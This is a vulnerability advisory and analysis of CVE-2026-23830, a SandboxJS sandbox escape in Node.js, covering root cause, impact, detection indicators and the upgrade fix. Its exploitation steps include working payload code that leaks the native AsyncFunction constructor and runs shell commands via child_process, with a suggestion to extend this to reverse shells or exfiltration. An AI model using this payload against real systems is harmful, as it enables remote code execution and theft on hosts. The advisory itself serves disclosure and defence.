CVE-2026-23830: 
JavaScript vulnerability analysis and mitigation

CVE-2026-23830 is a critical sandbox escape vulnerability in SandboxJS (@nyariv/sandboxjs), a JavaScript sandboxing library for Node.js. The flaw allows unauthenticated remote attackers to escape the sandbox and achieve Remote Code Execution (RCE) on the host environment by exploiting unprotected AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction constructors. All versions prior to 0.8.26 are affected. The vulnerability was published on January 27, 2026, and carries a CVSS v3.1 base score of 10.0 (Critical) (Github Advisory, SandboxJS Advisory).

The root cause is a protection mechanism failure (CWE-693) combined with improper control of dynamically-managed code resources (CWE-913) and code injection (CWE-94). SandboxJS sandboxes execution by replacing the global Function constructor with a safe SandboxFunction via a lookup map in utils.ts. However, the map did not include entries for AsyncFunction, GeneratorFunction, or AsyncGeneratorFunction — constructors that are not global properties but are accessible via the .constructor property of any async or generator function instance (e.g., (async () => {}).constructor). When sandboxed code accesses .constructor on an async function, executor.ts returns the actual native host AsyncFunction constructor rather than a sandboxed substitute, because no mapping existed. Since JavaScript function constructors create functions that execute in the global scope, an attacker can use the leaked native constructor to instantiate and run arbitrary code entirely outside the sandbox (Github Advisory, SandboxJS Commit).

Successful exploitation results in full Remote Code Execution on the host Node.js process with no authentication or user interaction required. An attacker can read sensitive files, exfiltrate credentials, modify application data, install backdoors, or pivot laterally within the host environment. The scope is marked as "Changed" in CVSS, reflecting that the impact extends beyond the sandboxed component to the underlying host system, with high confidentiality, integrity, and availability impacts (Github Advisory, SandboxJS Advisory).

A public proof-of-concept (PoC) exploit was included in the official GitHub Security Advisory at disclosure and a separate PoC repository (CVE-2026-23830-SandBreak) was published on GitHub by March 2026 (SandboxJS Advisory, Feedly). The vulnerability requires no privileges and no user interaction, making it trivially exploitable over the network. The EPSS score is approximately 0.18–0.23%, and as of the available data, there is no confirmed evidence of in-the-wild exploitation or CISA KEV catalog listing. No specific threat actor attribution has been reported.

1. Identify target: Locate a Node.js application that uses @nyariv/sandboxjs versions prior to 0.8.26 and accepts user-supplied JavaScript code for sandbox execution (e.g., a code evaluation endpoint or template engine).
2. Craft the payload: Prepare a JavaScript payload that creates an async arrow function inside the sandbox and accesses its .constructor property to obtain the native host AsyncFunction constructor:

   const af = async () => {};
   const AsyncConstructor = af.constructor; // Returns native AsyncFunction, not sandboxed

3. Instantiate an unsandboxed function: Use the leaked AsyncConstructor to create a new async function with arbitrary code that executes in the global (host) scope:

   const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");

4. Execute and retrieve output: Call the constructed function and handle the returned Promise to receive command output:

   const p = func();
   p.then(proc => { console.log(proc); });

5. Achieve RCE: The command runs as the Node.js process user on the host, outside any sandbox restrictions. Extend to reverse shell, data exfiltration, or persistence as needed (Github Advisory, SandboxJS Advisory).

• Logs: Node.js application logs showing unexpected calls to child_process methods (e.g., execSync, exec, spawn) originating from sandboxed code evaluation paths; errors or stack traces referencing AsyncFunction constructor access in sandbox context.
• Process: Unusual child processes spawned by the Node.js process (e.g., sh, bash, cmd.exe, curl, wget, python) that are not part of normal application behavior.
• Network: Unexpected outbound connections from the Node.js server to external IPs, particularly on non-standard ports, following sandbox code execution events; DNS lookups for attacker-controlled domains initiated by the Node.js process.
• File System: New or modified files in the application directory or system temp directories (e.g., web shells, cron jobs, SSH authorized_keys modifications) created by the Node.js process user.
• Application: Sandbox evaluation requests containing patterns such as async () => {}, .constructor, AsyncFunction, process.mainModule, or require('child_process') in user-supplied code inputs.

Upgrade @nyariv/sandboxjs to version 0.8.26 or later, which adds explicit sandbox mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction in utils.ts, and introduces a sandboxAsyncFunction replacement to intercept constructor access (SandboxJS Commit). If immediate patching is not possible, restrict network access to any service that exposes SandboxJS-based code evaluation, and avoid accepting untrusted JavaScript input for sandbox execution. Audit all application endpoints that pass user-controlled input to s.compile() or equivalent SandboxJS APIs as an emergency priority given the CVSS 10.0 rating (Github Advisory).

The vulnerability received notable coverage across security media and social platforms shortly after disclosure. SecurityOnline.info published an article titled "CVE-2026-23830: Critical SandboxJS Flaw (CVSS 10) Allows Total Sandbox Escape," and The Hacker Wire covered it with a dedicated article and Mastodon/Bluesky posts (SecurityOnline, The Hacker Wire). A technical deep-dive was published on Medium titled "Escaping the Matrix: A Deep Dive into SandboxJS RCE (CVE-2026-23830)," and a dev.to post titled "CVE-2026-23830: Async Abyss — Escaping SandboxJS via Forgotten Constructors" provided community-level analysis. Red Hat also acknowledged the CVE in their security advisory tracker. Community sentiment highlighted the severity of the oversight — failing to account for non-global function constructors accessible via prototype chains — as a cautionary example for sandbox library authors.